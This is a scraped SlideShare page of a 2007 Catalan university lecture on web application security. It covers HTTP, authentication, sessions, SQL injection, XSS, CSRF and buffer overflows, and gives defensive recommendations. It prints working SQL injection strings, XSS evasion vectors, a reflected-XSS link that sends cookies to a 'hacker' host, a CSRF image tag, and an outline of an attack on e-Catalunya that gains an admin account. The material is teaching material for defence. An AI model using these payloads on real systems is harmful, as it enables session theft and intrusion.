Your SlideShare is downloading. ×
0
Seguretat enaplicacions web           Jordi Planadecursach           jordip@fib.upc.edu           Héctor Puente           ...
Parlarem de…               Protocol HTTP               Sistemes d’autenticació               Cookies               Polítiq...
Parlarem de…          Com protegir dades sensibles          Polítiques de seguretat          Testing de seguretat         ...
Introducció  Que tenen en comú lamajoria d’aplicacions web?                         LCFIB- 2007
Que tenen el port 80  obert (o el 443)                       LCFIB- 2007
• L’atacant envia una petició HTTP al                                          servidor web                               ...
Bugs d’aplicació       VSBugs de plataforma                     LCFIB- 2007
Com es realitzen els atacs?                     La majoria d’atacs es realitzen desde el navegador• Firefox plugins:     •...
90%80%70%60%50%                                                   Xarxa40%                                                ...
HTTP                        Hyper Text Transfer Protocol• Mètodes: GET, POST, TRACE, etc…• Headers    • A l’estándar HTTP ...
GET http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0&s=hola HTTP/1.0Accept: */*Accept-Language: esCookie: SSO_ID=Ba...
POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0Referer: http://www.fib.upc.edu/fib/buscar.html?...
Interceptant peticions HTTP       Web Scarab                              LCFIB- 2007
Mètodes d’autenticacióCom identificar qui està   fent peticions?                           LCFIB- 2007
• Mètodes d’identificar qui està fent les peticions    • Amb alguna cosa que saps (contrassenya)    • Alguna cosa que saps...
• Basic HTTP Authentication    • L’usuari envia una petició a una pàgina    • El servidor respon amb un error 401 (unautho...
• Autenticació basada en formularis    • Formulari amb POST    • Es crea una cookie    • Opció recomenada• Tots els mètode...
• Una vegada s’envien els credencials s’han de validar contra un backend    • Base de dades SQL    • Directori LDAP    • A...
• Sniffing     • Connexió al mateix hub     • Connexió al mateix switch (arpspoofing)     • Xarxes wireless     • Xarxes i...
• Recomanacions (No ensenyar mai les contrassenyes)    • Minimitzar el nombre de llocs on l’usuari es pot autenticar    • ...
• Recomanacions (Emmagatzament racional)      • Guardar contrassenyes encriptades (SHA-256 SHA-1024)      • En cas de no p...
• Seguretat de la contrassenya    • Definir un tamany mínim de les contrassenyes    • Posar dates de caducitat en les cont...
• Recomanacions (Els errors no donen pistes)    • No diferenciar quan s’ha introduit malament usuari o password    • Utili...
• Recuperació de la contrassenya    • Mai enviar la contrassenya anterior    • Donar la possibilitat d’introduir una “preg...
Una bona gestió de les contrassenyes implica          una aplicació segura?                                       LCFIB- 2...
Cookies          LCFIB- 2007
• Que és una cookie?• S’haurien d’utilitzar només per identificar sessions• També s’utilitzen per tracking i balanceix    ...
• Cicle de vida d’una sessió    • Es visita per primer cop un lloc web (el servidor envia una cookie al client)    • Auten...
Quanta gent fa un logout abans de tancar el               navegador?  La majoria de cookies no tenen timeout              ...
• Amanaces: Session hijacking    • Endevinar la session id        • Força bruta (inprovable)        • Tenir accés al codi ...
• Recomanacions en cas d’inventar-se un sistema de sessions    • La session Id no s’ha de poder endevinar         • Ha de ...
• En resum, recomanacions geneals    • Donar un mecanisme de LogOut    • Les sessions haurien de caducar    • Invalidar la...
Una bona gestió de les sessions implica una            aplicació segura?                                       LCFIB- 2007
Vulnerabilitats més      usuals                      LCFIB- 2007
• Validació de l’entrada   • SQL Injection   • Blind SQL Injection   • XPath/Command/Altres Injections   • Buffers overflo...
Validació de l’entrada• Adonar-se del contingut que es pot posar dins un formulari• Detectar si el contingut és realment l...
SQL Injection                          • L’atacant envia una petició HTTP al                          servidor web        ...
SQL Injection• Són vulnerables aquelles aplicacions que tenen de backend una base dedades SQL    <form method="post" actio...
String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’”;Username: adminPassw...
Com s’evita la SQL injection?És tan fàcil com escapar cometes             “  ”             ‘  ’                         ...
Blind SQL Injection• Tot hi escapar les cometes...    <form method="post" action="http://www.diseney.com/login.php">      ...
String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code;Username: adminPassword: 1 ...
Com s’evita la BSQL injection?     És tan fàcil com validar els entersString pinString = request.getParameter(“pin_code”);...
Buffer Overflow#include <stdlib.h>#include <stdio.h>char* read_POST(){    char query_string[1024];    int query_size;    q...
INPUT• Codi a executar (shellcode)• Acabar d’emplenar fins 1024bytes• 4 bytes qualsevols• Adreça de retorn que ha deconici...
LCFIB- 2007
Buffer Overflow#include <stdlib.h>#include <stdio.h>char* read_POST(){    char query_string[1024];    int query_size;    q...
Solució: comprovar tamany de l’entrada#include <stdlib.h>#include <stdio.h>char* read_POST(){    char query_string[1024]; ...
Altres injections• Depenent del backend que s’utilitza• Validar que l’entrada no pugui ser interpetada com a codi del llen...
Cross Site Scripting (XSS)• És una vulnerabilitat que permet executar scripts al exploador de la víctima• Perquè XSS?• Són...
Stored XSS• L’atacant troba un lloc web on poder posar JavaScript• L’atacant posa un script maligne• Qualsevol persona que...
Reflected XSS• L’atacant no pot posar directament javascript• Aquest troba un camp a un formulari on el s’introdueix apare...
Com s’eviten els atacs XSS?  S’anula completament el “Rich Text”                   oEs posa un ciri al monestir de Montser...
Vectors XSS           <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>                 <IMG SRC="javascript:alert(XSS);"> ...
Vectors XSS<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")>        <<SCRIPT>alert("XSS");//<</SCRIPT>    <iframe src=htt...
Evitar XSS• Cada dia en surten de nous• Són molt difícils de detectar• No hi ha cap llibreria que els detecti• Es poden ev...
Cross Site Reference Forgery (CSRF)• Bàsicament consisteix en aconseguir que l’explorador de la víctima visiti URLarbitràr...
Com s’eviten els atacs CSRF?Deixant d’utilitzar el correu electrònic.Molts lectors de mails pregunten abans de carregar im...
Evitar CSRF• Passant paràmetres per POST• Les operacions sensibles s’han de fer en diversos passos• No obrint imatges de c...
Exemple pràctic amb e-Catalunya                                  LCFIB- 2007
Objectiu  • Sense tenir privilegis crear un usuari amb permisos d’administració  Procediment  • Esbrinar URL de creació d’...
LCFIB- 2007
Obtenció d’URL d’administració          Hacker                           Obtenir URLCREAR NOU USUARI  + Esbrinar la URL de...
Creació de Script maligne                Hacker                                                     <script>              ...
Introduir SCRIPT a l’e-Blog       Hacker                       Introduir                         script                   ...
Ingenieria socialHacker                                                        Administrador              Enviar un mail a...
LCFIB- 2007
Exemple pràctic amb e-Catalunya                                  LCFIB- 2007
Upcoming SlideShare
Loading in...5
×

Seguretat en aplicacions web

220

Published on

Security is not a one-time event. It is insufficient to secure your code just once. By 2008, this Top 10 will have changed, and without changing a line of your application’s code, you may be vulnerable. Please review the advice in Where to Go From Here for more information.
A secure coding initiative must deal with all stages of a program’s lifecycle. Secure web applications are only possible when a secure SDLC (Software Development Life Cycle) is used. Secure programs are secure by design, during development, and by default. There are at least 300 issues that affect the overall security of a web application. These 300+ issues are detailed in the OWASP Development Guide, which is essential reading for anyone developing web applications today.

A1 - Cross Site Scripting (XSS) XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.
A2 - Injection Flaws Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data.
A3 - Malicious File Execution Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.
A4 - Insecure Direct Object Reference A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.
A5 - Cross Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks.
A6 - Information Leakage and Improper Error Handling Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data, or conduct more serious attacks.
A7 - Broken Authentication and Session Management Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.
A8 - Insecure Cryptographic Storage Web applications rarely use cryptographic functions properly to protect data and credentials.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
220
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
1
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Seguretat en aplicacions web"

  1. 1. Seguretat enaplicacions web Jordi Planadecursach jordip@fib.upc.edu Héctor Puente hector@fib.upc.edu LCFIB- 2007
  2. 2. Parlarem de… Protocol HTTP Sistemes d’autenticació Cookies Polítiques de control d’accés Tractament d’erros i logging Vulnerabilitats més comuns LCFIB- 2007
  3. 3. Parlarem de… Com protegir dades sensibles Polítiques de seguretat Testing de seguretat Dark side of AJAX Polítiques de control d’accés Firewalls d’aplicació: modsecurity LCFIB- 2007
  4. 4. Introducció Que tenen en comú lamajoria d’aplicacions web? LCFIB- 2007
  5. 5. Que tenen el port 80 obert (o el 443) LCFIB- 2007
  6. 6. • L’atacant envia una petició HTTP al servidor web • El codi del servidor web realitza operacions per les quals no està preparat.Atacant • Es retorna una resposta a l’atacant Servidor Web amb dades que pretenien ser segures.• Que passa amb els insiders ? LCFIB- 2007
  7. 7. Bugs d’aplicació VSBugs de plataforma LCFIB- 2007
  8. 8. Com es realitzen els atacs? La majoria d’atacs es realitzen desde el navegador• Firefox plugins: • LiveHTTP Headers • Tamperdata • Web Developer• Web proxies: • OWASP WebScarab • Achilles• Escaners de vulnerabilitats: • Nessus LCFIB- 2007
  9. 9. 90%80%70%60%50% Xarxa40% Aplicaions30%20%10% 0% Atacs Inversió 75% dels atacs estan destinats a la capa d’aplicació2/3 aplicacions web són en major o menor mesura vulnerables LCFIB- 2007
  10. 10. HTTP Hyper Text Transfer Protocol• Mètodes: GET, POST, TRACE, etc…• Headers • A l’estándar HTTP hi ha 47 headers diferents • Uns dels més usats són: Accept, User-Agent, Host, Referer, Set-Cookie• Paràmetres • Passats per URL (GET) • Per formularis (POST) • Personalitzats per l’aplicació (headers) LCFIB- 2007
  11. 11. GET http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0&s=hola HTTP/1.0Accept: */*Accept-Language: esCookie: SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim;Apache=147.83.58.208.1184685235517970User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR1.1.4322; InfoPath.1; .NET CLR 2.0.50727)Host: raco.fib.upc.esConnection: Keep-Alive LCFIB- 2007
  12. 12. POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0Referer: http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0Connection: Keep-AliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;InfoPath.1; .NET CLR 2.0.50727)Host: raco.fib.upc.esCache-Control: no-cacheCookie: CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50;JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim;SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet%2Flcfib.racons.Portal&username=usuari&password=contrassenya&x=0&y=0 LCFIB- 2007
  13. 13. Interceptant peticions HTTP Web Scarab LCFIB- 2007
  14. 14. Mètodes d’autenticacióCom identificar qui està fent peticions? LCFIB- 2007
  15. 15. • Mètodes d’identificar qui està fent les peticions • Amb alguna cosa que saps (contrassenya) • Alguna cosa que saps (token) • Alguna cosa que ets (mètodes biomètrics) • Una combinació dels anteriors LCFIB- 2007
  16. 16. • Basic HTTP Authentication • L’usuari envia una petició a una pàgina • El servidor respon amb un error 401 (unauthorized) i avisa que accepta http authentication • El navegador pregunta a l’usuari username i password, els codifica en base64 i els envia al servidor • El servidor valida els credencials i autoritza o no. No hi ha forma de deslogejar-se La contrassenya s’envia en text plà• Digest HTTP Authentication LCFIB- 2007
  17. 17. • Autenticació basada en formularis • Formulari amb POST • Es crea una cookie • Opció recomenada• Tots els mètodes haurien d’anar acompanyats de SSL pertal de fer l’enviament de contrassenyes segur LCFIB- 2007
  18. 18. • Una vegada s’envien els credencials s’han de validar contra un backend • Base de dades SQL • Directori LDAP • Arxius XML • /etc/passwd • Altres mètodes• Tots els mètodes haurien d’anar acompanyats de SSL per tal de ferl’enviament de contrassenyes segur LCFIB- 2007
  19. 19. • Sniffing • Connexió al mateix hub • Connexió al mateix switch (arpspoofing) • Xarxes wireless • Xarxes intermitges (ISP’s) • Accés al servidor de destí• Man in the middle• Ingenieria social• Força bruta LCFIB- 2007
  20. 20. • Recomanacions (No ensenyar mai les contrassenyes) • Minimitzar el nombre de llocs on l’usuari es pot autenticar • En aplicacions grans utilitzar mètodes d’autenticació centralizada, Single Sign On • En els formularis on s’escriuen passwords utilitzar ocultació ******** <input type=“password” … > • No guardar mai passwords dins el codi HTML generat (hiddens) • Utilitzar HTTPS • No manejar manualment tokens i identificadors sessions LCFIB- 2007
  21. 21. • Recomanacions (Emmagatzament racional) • Guardar contrassenyes encriptades (SHA-256 SHA-1024) • En cas de no poder guardar-les en un backend encriptat • Enviar les passwords únicament sobre HTTPS • Esborrar passwords de memoria (memory dumps) • Tenir en compte la memoria cache• Utilitzar llibreries de seguretat de proveidors segurs • JCE (Java) • System.Security.Cryptography (.NET) LCFIB- 2007
  22. 22. • Seguretat de la contrassenya • Definir un tamany mínim de les contrassenyes • Posar dates de caducitat en les contrassenyes • Forçar que l’usuari no utilitzi contrassenyes referents a les seves dades • No utilitzar contrassenyes amb paraules que apareixen al lloc web • Potència d’una contrassenya • R = Contrassenyes per segon (en remot 200, en local 10.000.000) • C = Nombre de caràcters de la contrassenya • S = Tamany de l’alfabet P = S^C / R Exemple: R = 200 C = 5 S = 36 P = 84h LCFIB- 2007
  23. 23. • Recomanacions (Els errors no donen pistes) • No diferenciar quan s’ha introduit malament usuari o password • Utilitzar el mateix missatge d’error per tot el que no sigui un login correcte• Recomanacions (Bloqueix de comptes) • No banejar mai l’usuari per ip • Bloquejar l’usuari després de 3 intents insatisfactoris • Desbloquejar l’usuari després de cert temps o manualment • Utilitzar captcha’s després de 3 intents LCFIB- 2007
  24. 24. • Recuperació de la contrassenya • Mai enviar la contrassenya anterior • Donar la possibilitat d’introduir una “pregunta secreta” • No deixar que la resposta a la rpegunta sigui més dèbil que la contrassenya• Canvi de contrassenya • Preguntar sempre la contrassenya anterior abans de fer el canvi • Demanar una reautenticació després del canvi de contrassenya LCFIB- 2007
  25. 25. Una bona gestió de les contrassenyes implica una aplicació segura? LCFIB- 2007
  26. 26. Cookies LCFIB- 2007
  27. 27. • Que és una cookie?• S’haurien d’utilitzar només per identificar sessions• També s’utilitzen per tracking i balanceix Session ID Objecte Sessió1AFD6786C876A087F6D HttpO7CAFO6FAB6O6BB55A Session76C98A6F9A6987F9083 …. LCFIB- 2007
  28. 28. • Cicle de vida d’una sessió • Es visita per primer cop un lloc web (el servidor envia una cookie al client) • Autenticació (a la sessió s’indica que l’usuari ha estat autenticat) • La sessioó caduca per Idle o per un timeout absolut • Logout (borrat de la cookie i sortida del lloc web) • Reautenticació (generar un altre cookie) No inventar-se un sistema de sessions propi Utilizar sistemes de sessions integrats amb la plataforma JSession, SessionID LCFIB- 2007
  29. 29. Quanta gent fa un logout abans de tancar el navegador? La majoria de cookies no tenen timeout LCFIB- 2007
  30. 30. • Amanaces: Session hijacking • Endevinar la session id • Força bruta (inprovable) • Tenir accés al codi font i deduir quina serà per el pròxim usuari • Robar la session Id • Cross site scripting (XSS) • Sniffing (no usar HTTPS) • URL-Rewriting, caches, logs, copy-paste, etc… • Fixar la session Id LCFIB- 2007
  31. 31. • Recomanacions en cas d’inventar-se un sistema de sessions • La session Id no s’ha de poder endevinar • Ha de ser suficientment llarga (20bytes) • Ha de ser suficientment aleatoria • Ha de ser única per cada usuari loggejat• És díficil mantenir aquestes propietats • No és tants sols un idintificador aleatori • S’utilitzen algoritmes de disperssió • Hi ha contingut criptgràfic LCFIB- 2007
  32. 32. • En resum, recomanacions geneals • Donar un mecanisme de LogOut • Les sessions haurien de caducar • Invalidar la cookie anterior en un relogin. • No s’haurien de loggejar ni cachejar sessions • No posar la session Id a la url com a paràmtre GET • No inventar-se el sistema de sessions LCFIB- 2007
  33. 33. Una bona gestió de les sessions implica una aplicació segura? LCFIB- 2007
  34. 34. Vulnerabilitats més usuals LCFIB- 2007
  35. 35. • Validació de l’entrada • SQL Injection • Blind SQL Injection • XPath/Command/Altres Injections • Buffers overflow• Cross Site Scripting (XSS)• Cross Site Request Forgery (CSRF)• Remote file inclusion LCFIB- 2007
  36. 36. Validació de l’entrada• Adonar-se del contingut que es pot posar dins un formulari• Detectar si el contingut és realment l’esperat LCFIB- 2007
  37. 37. SQL Injection • L’atacant envia una petició HTTP al servidor web • El codi del servidor web realitza operacions per les quals no està preparat. • Es retorna una resposta a l’atacant amb dades que pretenien serAtacant segures. Servidor Web LCFIB- 2007
  38. 38. SQL Injection• Són vulnerables aquelles aplicacions que tenen de backend una base dedades SQL <form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“password" type="password" id="tfUPass"> </form> String username = request.getParameter(“username”); String password = request.getParameter(“password”); String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and password=‘” + password + “’”; ResultSet rs = smt.executeQuery(sql); If( rs.results() > 0) login = true; else login = false; LCFIB- 2007
  39. 39. String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’”;Username: adminPassword: 1234SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘1234’;Username: adminPassword: ‘ OR ‘’=‘SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘‘ OR ‘’=‘’;Username: adminPassword: ’; DROP TABLE logins where ‘’=‘SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘’; drop table logins where ‘’=‘’; LCFIB- 2007
  40. 40. Com s’evita la SQL injection?És tan fàcil com escapar cometes “  ” ‘  ’ LCFIB- 2007
  41. 41. Blind SQL Injection• Tot hi escapar les cometes... <form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“pin_code" type="password" id="tfUPass"> </form> String username = request.getParameter(“username”); String pin_code = request.getParameter(“password”); String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and pin_code= ” + pin_code; ResultSet rs = smt.executeQuery(sql); If( rs.results() > 0) login = true; else login = false; LCFIB- 2007
  42. 42. String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code;Username: adminPassword: 1 OR 1=1SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND pin_code=1 OR 1=1Altres vectors:1 OR HAVING 1=1 Error, ‘cuenta_corriente’ is not on the group by clause1 OR GROUP BY cuenta_corriente HAVING 1=1 Error, ‘dni’ is not on the group by clause1 OR GROUP BY cuenta_corriente,dni HAVING 1=1 Error, ‘direccion’ is not on the group by clause1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256”1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000”1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1) LCFIB- 2007
  43. 43. Com s’evita la BSQL injection? És tan fàcil com validar els entersString pinString = request.getParameter(“pin_code”);try{ int pinCode = Integer.parseInt(pinString);}catch (NumericException ex){ System.out.println(“Hacker go away!”);} LCFIB- 2007
  44. 44. Buffer Overflow#include <stdlib.h>#include <stdio.h>char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string;} LCFIB- 2007
  45. 45. INPUT• Codi a executar (shellcode)• Acabar d’emplenar fins 1024bytes• 4 bytes qualsevols• Adreça de retorn que ha deconicidir amb l’inici del buffer LCFIB- 2007
  46. 46. LCFIB- 2007
  47. 47. Buffer Overflow#include <stdlib.h>#include <stdio.h>char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string;} LCFIB- 2007
  48. 48. Solució: comprovar tamany de l’entrada#include <stdlib.h>#include <stdio.h>char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,min(query_size,1024),1,stdin); return query_string;} LCFIB- 2007
  49. 49. Altres injections• Depenent del backend que s’utilitza• Validar que l’entrada no pugui ser interpetada com a codi del llenguatge percommunicar-se amb el backend• XPath injection (Base de dades Exist, arxius XML)• Command injectionString consulta = “user[name/text()=‘” + usuari + ” andpassword/text()=‘” + password + ”]/account/text())”XmlReader.query(consulta); LCFIB- 2007
  50. 50. Cross Site Scripting (XSS)• És una vulnerabilitat que permet executar scripts al exploador de la víctima• Perquè XSS?• Són vulnerables els navegadors que utilitzen Javascript (la majoria) o VBScript(internet explorer).• Es poden posar scripts malignes en pàgines web• Conseqüències • Moltes vegades aquest script el que fan és robar cookies • Es poden “desfassar” webs • Si l’explorador té un bug del sandbox estas perdut LCFIB- 2007
  51. 51. Stored XSS• L’atacant troba un lloc web on poder posar JavaScript• L’atacant posa un script maligne• Qualsevol persona que visiti aquest lloc web estarà executant aquest script• L’script pot enviar la cookie a la pàgina de l’atacant i aquest pot realitzar un atac desuplantació d’identitat.• Si l’explorador té un bug del sandbox l’script pot navegar a altres llocs webs irobar dades confidencials, adreces de correu (gmail), contes bancaris (bancs),sessions, etc.• Si l’explorador corre en permisos d’administració es poden arribar a crear arxius adisc i executa codi arbritari. LCFIB- 2007
  52. 52. Reflected XSS• L’atacant no pot posar directament javascript• Aquest troba un camp a un formulari on el s’introdueix apareix directament perpantalla (exemple: buscador)• L’atacant genera un link malicios per tal de que quan es cliqui s’executi aquestscript•http://www.disney.com/buscador.jsp?s=<script>document.url=“http://hacker/pagina.php”>• Quan es clica el link l’usuari veu per pantalla el que ha buscat, que en aquest casés: <script>document.url=“http://hacker/pagina.php”+document.cookie;</script>• S’envia la cookie a la pàgina de l’atacant• Els atacs XSS es tornen molt més perillosos si s’utilitza AJAX perque es podentenir peticions obertes invisibles. LCFIB- 2007
  53. 53. Com s’eviten els atacs XSS? S’anula completament el “Rich Text” oEs posa un ciri al monestir de Montserrat LCFIB- 2007
  54. 54. Vectors XSS <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC="javascript:alert(XSS);"> <IMG SRC=javascript:alert(XSS)> <IMG SRC=JaVaScRiPt:alert(XSS)> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMGSRC=javascript:& #97;lert('XSS')> <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x 61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> LCFIB- 2007
  55. 55. Vectors XSS<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")> <<SCRIPT>alert("XSS");//<</SCRIPT> <iframe src=http://ha.ckers.org/scriptlet.html < ";alert(XSS);//<INPUT TYPE="IMAGE" SRC="javascript:alert(XSS);"> <BODY BACKGROUND="javascript:alert(XSS)"> LCFIB- 2007
  56. 56. Evitar XSS• Cada dia en surten de nous• Són molt difícils de detectar• No hi ha cap llibreria que els detecti• Es poden evitar utilitzan application firewalls• Pàgina web de referència: http://ha.ckers.org/xss.html• Codificant l’entrada amb entitats HTML s’evita, es perd el “rich text”• S’han de seguir polítiques molt estrictes• Utilizant wrappers (llenguatges intermitjos) s’eviten LCFIB- 2007
  57. 57. Cross Site Reference Forgery (CSRF)• Bàsicament consisteix en aconseguir que l’explorador de la víctima visiti URLarbitràries.• Es com si l’atacant t’agafa el ratolí i et fa clicar allà on vol• Permet realitzar operacions complexes (logejarte en un banc i fer una tranferència)• Consisteix en posar les url’s que es vol que la victima visiti dins d’un tag <img>• Exemple: Enviem un mail al webmaster del raco amb la següent imatge<img src=“http://raco.fib.upc.edu/posar-notes.jsp?user=hacker&asig=TC&nota=10”> LCFIB- 2007
  58. 58. Com s’eviten els atacs CSRF?Deixant d’utilitzar el correu electrònic.Molts lectors de mails pregunten abans de carregar imatges. LCFIB- 2007
  59. 59. Evitar CSRF• Passant paràmetres per POST• Les operacions sensibles s’han de fer en diversos passos• No obrint imatges de correus electrònics de persones en que no es confia• La combinació de XSS + CSRF només té una forma d’evitar-se• Abans de realitzar operacions sensibles (notes, transferències bancaries) posarsistemes anti-robots: captcha, preguntes, operacions matemàtiques LCFIB- 2007
  60. 60. Exemple pràctic amb e-Catalunya LCFIB- 2007
  61. 61. Objectiu • Sense tenir privilegis crear un usuari amb permisos d’administració Procediment • Esbrinar URL de creació d’usuari i canvi de privilègis • Creació d’un script que cridi aquestes URL • Adjuntar l’script en una eina • Fer que un administrador executi aquest scriptEn la última versió: Modificació per tal de no poder incluir script a les einesProblemàtica: Dificultat de detectar la inclusió d’un script LCFIB- 2007
  62. 62. LCFIB- 2007
  63. 63. Obtenció d’URL d’administració Hacker Obtenir URLCREAR NOU USUARI + Esbrinar la URL de la pàgina de crear un nou usuari + Esbrinar el nom dels camps del formulari (nom, id, email) + Construir URL tal que si s’accedeix a ella es dona d’alta l’usuari especificatASSIGNAR PERMISOS D’ADMINISTRACIÓ + Idem que l’anterior però usant la pàgina d’assignar permisos LCFIB- 2007
  64. 64. Creació de Script maligne Hacker <script> … crear_usuari(X) fer_administrador(X) … </script> SCRIPT + Cridar URL1 (crear nou usuari) + Cridar URL2 (assigna al nou usuari permisos d’administrador)(si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script) LCFIB- 2007
  65. 65. Introduir SCRIPT a l’e-Blog Hacker Introduir script maligne com<script> a comentari … a l’e-blog crear_usuari(X) administrador(X) …</script> LCFIB- 2007
  66. 66. Ingenieria socialHacker Administrador Enviar un mail a l’admin amb l’enllaç al blog Quan l’administrador vagi a veure el Blog, si aquest està identificat, s’executarà l’script insertat. Aquest crearà un nou usuari amb permisos d’administrador que el hacker podrà utilitzar per fer maldats. També es podria robar la cookie de l’admin per tal de fer una suplantació d’identitat. LCFIB- 2007
  67. 67. LCFIB- 2007
  68. 68. Exemple pràctic amb e-Catalunya LCFIB- 2007
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×